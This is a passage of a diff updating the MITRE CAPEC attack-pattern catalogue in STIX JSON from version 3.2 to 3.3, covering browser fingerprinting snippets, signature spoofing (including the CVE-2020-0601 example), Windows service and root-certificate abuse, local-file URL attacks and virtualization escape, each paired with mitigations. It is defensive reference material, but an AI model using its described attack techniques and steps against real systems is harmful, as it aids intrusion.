", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--26e0b3ec-31d8-48fc-9126-e02e6600bb0e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-471-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: Fix the Windows loading process to eliminate the preferential search order by looking for DLLs in the precise location where they are expected\n Design: Sign system DLLs so that unauthorized DLLs can be detected.\n ", - "type": "course-of-action", - "id": "course-of-action--26e0b3ec-31d8-48fc-9126-e02e6600bb0e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--124b4486-dc0a-4704-9c62-d1aec17ff83f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--124b4486-dc0a-4704-9c62-d1aec17ff83f", "source_ref": "course-of-action--26e0b3ec-31d8-48fc-9126-e02e6600bb0e", "relationship_type": "mitigates", "target_ref": "attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd" }, { + "id": "attack-pattern--29e8786c-a791-44c6-b1de-950cf0604643", "name": "Browser Fingerprinting", "description": "An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27953,11 +29746,11 @@ "\n The following code snippets can be used to detect various browsers:\n \n Firefox 2/3\n FF=/a/[-1]=='a'\n Firefox 3\n FF3=(function x(){})[-5]=='x'\n Firefox 2\n FF2=(function x(){})[-6]=='x'\n IE\n IE='\\v'=='v'\n Safari\n Saf=/a/.__proto__=='//'\n Chrome\n Chr=/source/.test((/a/.toString+''))\n Opera\n Op=/^function \\(/.test([].sort)\n \n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--29e8786c-a791-44c6-b1de-950cf0604643" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--4f6e0e7b-25c7-423b-bb3e-a652a1fe9285", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -27966,23 +29759,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Configuration: Disable Java Script in the browser", - "type": "course-of-action", - "id": "course-of-action--4f6e0e7b-25c7-423b-bb3e-a652a1fe9285" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--11ed3172-e4ba-44b6-90f3-93e92247d779", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--11ed3172-e4ba-44b6-90f3-93e92247d779", "source_ref": "course-of-action--4f6e0e7b-25c7-423b-bb3e-a652a1fe9285", "relationship_type": "mitigates", "target_ref": "attack-pattern--29e8786c-a791-44c6-b1de-950cf0604643" }, { + "id": "attack-pattern--d94762c1-3c78-47eb-8212-e0c770ba43a9", "name": "Signature Spoof", "description": "An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28034,11 +29829,11 @@ "An attacker exploits weaknesses in a cryptographic algorithm to that allow a private key for a legitimate software vendor to be reconstructed, attacker-created malicious software is cryptographically signed with the reconstructed key, and is installed by the victim operating system disguised as a legitimate software update from the software vendor." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d94762c1-3c78-47eb-8212-e0c770ba43a9" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--a9d3765f-d7af-4ba2-9396-007d9942240f", "name": "Signature Spoofing by Key Theft", "description": "An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28085,11 +29880,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a9d3765f-d7af-4ba2-9396-007d9942240f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--15a8eecd-41fe-4a8a-8f0e-60fba82c71bd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -28098,41 +29893,71 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Restrict access to private keys from non-supervisory accounts\n Restrict access to administrative personnel and processes only\n Ensure all remote methods are secured\n Ensure all services are patched and up to date\n ", - "type": "course-of-action", - "id": "course-of-action--15a8eecd-41fe-4a8a-8f0e-60fba82c71bd" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9456133b-c157-4035-8488-297832799849", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9456133b-c157-4035-8488-297832799849", "source_ref": "course-of-action--15a8eecd-41fe-4a8a-8f0e-60fba82c71bd", "relationship_type": "mitigates", "target_ref": "attack-pattern--a9d3765f-d7af-4ba2-9396-007d9942240f" }, { + "id": "attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18", "name": "Signature Spoofing by Improper Validation", - "description": "An attacker exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.", + "description": "An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key. Signature verification algorithms are generally used to determine whether a certificate or piece of code (e.g. executable, binary, etc.) possesses a valid signature and can be trusted. If the leveraged algorithm confirms that a valid signature exists, it establishes a foundation of trust that is further conveyed to the end-user when interacting with a website or application. However, if the signature verification algorithm improperly validates the signature, either by not validating the signature at all or by failing to fully validate the signature, it could result in an adversary generating a spoofed signature and being classified as a legitimate entity. Successfully exploiting such a weakness could further allow the adversary to reroute users to malicious sites, steals files, activates microphones, records keystrokes and passwords, wipes disks, installs malware, and more.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/475.html", "external_id": "CAPEC-475" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/347.html", + "external_id": "CWE-347" + }, { "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/327.html", "external_id": "CWE-327" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/295.html", + "external_id": "CWE-295" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Kenn White, Microsoft's Chain of Fools, 2020--01---15, First Principles", + "url": "https://blog.lessonslearned.org/chain-of-fools/", + "external_id": "REF-562" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers, 2020--01---14, National Security Agency (NSA)", + "url": "https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF", + "external_id": "REF-563" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Thomas Ptacek, Thomas Pornin, Analysis of REF-563, Hacker News", + "url": "https://news.ycombinator.com/item?id=22048619", + "external_id": "REF-564" } ], "x_capec_likelihood_of_attack": "Low", @@ -28144,37 +29969,42 @@ "High": "Reverse engineering and cryptanalysis of signature verification algorithm implementation" }, "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "The Windows CryptoAPI (Crypt32.dll) was shown to be vulnerable to signature spoofing by failing to properly validate Elliptic Curve Cryptography (ECC) certificates. If the CryptoAPI's signature validator allows the specification of a nonstandard base point (G): \"An attacker can create a custom ECDSA certificate with an elliptic curve (ECC) signature that appears to match a known standard curve, like P-256 that includes a public key for an existing known trusted certificate authority, but which was in fact not signed by that certificate authority. Windows checks the public key and other curve parameters, but not the (bespoke attacker-supplied) base point generator (G) parameter constant which actually generated the curve\" [REF-562]. Exploiting this vulnerability allows the adversary to leverage a spoofed certificate to dupe trusted network connections and deliver/execute malicious code, while appearing as legitimately trusted entity [REF-563]. This ultimately tricks the victim into believing the malicious website or executable is legitimate and originates from a properly verified source. See also: CVE-2020-0601" + ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--c68612c7-a3bf-4a0e-8416-0cc58982766d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-475-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use programs and products that contain cryptographic elements that have been thoroughly tested for flaws in the signature verification routines.", - "type": "course-of-action", - "id": "course-of-action--c68612c7-a3bf-4a0e-8416-0cc58982766d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ca2272d5-9269-4fa1-9964-f2d6d45c271c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ca2272d5-9269-4fa1-9964-f2d6d45c271c", "source_ref": "course-of-action--c68612c7-a3bf-4a0e-8416-0cc58982766d", "relationship_type": "mitigates", "target_ref": "attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18" }, { + "id": "attack-pattern--72a45548-61df-47c1-a7a0-12e07ec71f37", "name": "Signature Spoofing by Misrepresentation", "description": "An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28210,11 +30040,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--72a45548-61df-47c1-a7a0-12e07ec71f37" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--694ab70c-12fd-45fd-8fa9-0806c5da0396", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -28223,23 +30053,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure the application is using parsing and data display techniques that will accurately display control characters, international symbols and markings, and ultimately recognize potential homograph attacks.", - "type": "course-of-action", - "id": "course-of-action--694ab70c-12fd-45fd-8fa9-0806c5da0396" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--82379432-2b82-4aca-a835-238f54a057ef", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--82379432-2b82-4aca-a835-238f54a057ef", "source_ref": "course-of-action--694ab70c-12fd-45fd-8fa9-0806c5da0396", "relationship_type": "mitigates", "target_ref": "attack-pattern--72a45548-61df-47c1-a7a0-12e07ec71f37" }, { + "id": "attack-pattern--929e7d9a-b34c-43ad-b58b-b8df918c4f62", "name": "Signature Spoofing by Mixing Signed and Unsigned Content", "description": "An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28281,11 +30113,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--929e7d9a-b34c-43ad-b58b-b8df918c4f62" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f9df8e0c-94b6-4847-ad19-ece4cc20afe0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -28294,23 +30126,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure the application is fully patched and does not allow the processing of unsigned data as if it is signed data.", - "type": "course-of-action", - "id": "course-of-action--f9df8e0c-94b6-4847-ad19-ece4cc20afe0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6679a0b9-deee-47e3-81d3-9d55d39d9207", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6679a0b9-deee-47e3-81d3-9d55d39d9207", "source_ref": "course-of-action--f9df8e0c-94b6-4847-ad19-ece4cc20afe0", "relationship_type": "mitigates", "target_ref": "attack-pattern--929e7d9a-b34c-43ad-b58b-b8df918c4f62" }, { + "id": "attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc", "name": "Modification of Windows Service Configuration", "description": "An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. Specifically, if the permissions for users and groups are not properly assigned and allow access to the registry keys used to store the configuration information for a service, then an adversary could change settings defining the path to the executable and cause a malicious binary to be executed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28318,7 +30152,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-04-25T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -28329,6 +30163,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Service Registry Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/011", + "external_id": "T1574.011" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Windows Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/003", + "external_id": "T1543.003" } ], "x_capec_likelihood_of_attack": "Low", @@ -28346,36 +30192,38 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Usable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--25c25dbf-033d-40de-8314-255ce51d1e3d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-04-25T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-478-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", - "type": "course-of-action", - "id": "course-of-action--25c25dbf-033d-40de-8314-255ce51d1e3d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--defdb513-7363-40a3-a5c5-41ca51464c89", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-04-25T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--defdb513-7363-40a3-a5c5-41ca51464c89", "source_ref": "course-of-action--25c25dbf-033d-40de-8314-255ce51d1e3d", "relationship_type": "mitigates", "target_ref": "attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc" }, { + "id": "attack-pattern--a35eb10e-1168-4c77-8f46-87fa6ee40ef7", "name": "Malicious Root Certificate", "description": "An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28383,7 +30231,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-04-26T00:00:00.000Z", - "modified": "2018-04-26T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -28394,6 +30242,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Subvert Trust Controls:Install Root Certificate", + "url": "https://attack.mitre.org/wiki/Technique/T1553/004", + "external_id": "T1553.004" } ], "x_capec_likelihood_of_attack": "Low", @@ -28403,11 +30257,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a35eb10e-1168-4c77-8f46-87fa6ee40ef7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456", "name": "Passing Local Filenames to Functions That Expect a URL", "description": "This attack relies on client side code to access local files and resources instead of URLs. When the client browser is expecting a URL string, but instead receives a request for a local file, that execution is likely to occur in the browser process space with the browser's authority to local files. The attacker can send the results of this request to the local files out to a site that they control. This attack may be used to steal sensitive authentication data (either local or remote), or to gain system profile information to launch further attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28415,7 +30269,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -28464,102 +30318,110 @@ "x_capec_example_instances": [ "\n J2EE applications frequently use .properties files to store configuration information including JDBC connections, LDAP connection strings, proxy information, system passwords and other system metadata that is valuable to attackers looking to probe the system or bypass policy enforcement points. When these files are stored in publicly accessible directories and are allowed to be read by the public user, then an attacker can list the directory identify a .properties file and simply load its contents in the browser listing its contents. A standard Hibernate properties file contains\n hibernate.connection.driver_class = org.postgresql.Driverhibernate.connection.url = jdbc:postgresql://localhost/mydatabasehibernate.connection.username = usernamehibernate.connection.password = passwordhibernate.c3p0.min_size=5hibernate.c3p0.max_size=20\n Even if the attacker cannot write this file, there is plenty of information to leverage to gain further access.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify web application URL inputs: Review application inputs to find those that are designed to be URLs.

    2. Techniques
    Manually navigate web site pages to identify URLs.
    Use automated tools to identify URLs.

Experiment

  1. Identify URL inputs allowing local access.: Execute test local commands via each URL input to determine which are successful.

    2. Techniques
    Manually execute a local command (such as 'pwd') via the URL inputs.
    Using an automated tool, test each URL input for weakness.

Exploit

  1. Execute malicious commands: Using the identified URL inputs that allow local command execution, execute malicious commands.

    2. Techniques
    Execute local commands via the URL input.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--e108a43f-d09d-41e1-8c5d-d88b4e285dc8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e108a43f-d09d-41e1-8c5d-d88b4e285dc8", "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456" }, { + "id": "course-of-action--536001f7-8712-4a06-82c7-2a5e7008aa72", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-48-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Ensure all configuration files and resource are either removed or protected when promoting code into production.", - "type": "course-of-action", - "id": "course-of-action--536001f7-8712-4a06-82c7-2a5e7008aa72" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a9b80a78-9847-4310-b5a4-59689e59d949", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a9b80a78-9847-4310-b5a4-59689e59d949", "source_ref": "course-of-action--536001f7-8712-4a06-82c7-2a5e7008aa72", "relationship_type": "mitigates", "target_ref": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456" }, { + "id": "relationship--840a14c4-8158-43a5-9dbf-7913a86a244f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--840a14c4-8158-43a5-9dbf-7913a86a244f", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456" }, { + "id": "relationship--cf36118d-637c-4216-a672-9f18e372b78c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cf36118d-637c-4216-a672-9f18e372b78c", "source_ref": "course-of-action--8a996efc-52e0-4aaf-953a-21c3fe64c64b", "relationship_type": "mitigates", "target_ref": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456" }, { + "id": "relationship--f3cc7fae-f66b-4499-8930-bca7d098c80c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f3cc7fae-f66b-4499-8930-bca7d098c80c", "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "relationship_type": "mitigates", "target_ref": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456" }, { + "id": "relationship--2e8384c4-b7dc-49d2-990a-83e058990579", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2e8384c4-b7dc-49d2-990a-83e058990579", "source_ref": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", "relationship_type": "mitigates", "target_ref": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456" }, { + "id": "attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471", "name": "Escaping Virtualization", "description": "An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28606,11 +30468,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f7d97bf5-f247-488c-9be8-811a887b8cfd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-09-30T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -28619,23 +30481,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure virtualization software is current and up-to-date.", - "type": "course-of-action", - "id": "course-of-action--f7d97bf5-f247-488c-9be8-811a887b8cfd" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c2cbe557-9342-4193-a6f9-e79a120bbc41", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-09-30T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c2cbe557-9342-4193-a6f9-e79a120bbc41", "source_ref": "course-of-action--f7d97bf5-f247-488c-9be8-811a887b8cfd", "relationship_type": "mitigates", "target_ref": "attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471" }, { + "id": "course-of-action--bf819a99-45a3-4059-8c63-366a7fb34b88", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-09-30T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -28644,23 +30508,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Abide by the least privilege principle to avoid assigning users more privileges than necessary.", - "type": "course-of-action", - "id": "course-of-action--bf819a99-45a3-4059-8c63-366a7fb34b88" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2bfc97de-cce3-45f4-b6d9-b32d60e99c84", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-09-30T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2bfc97de-cce3-45f4-b6d9-b32d60e99c84", "source_ref": 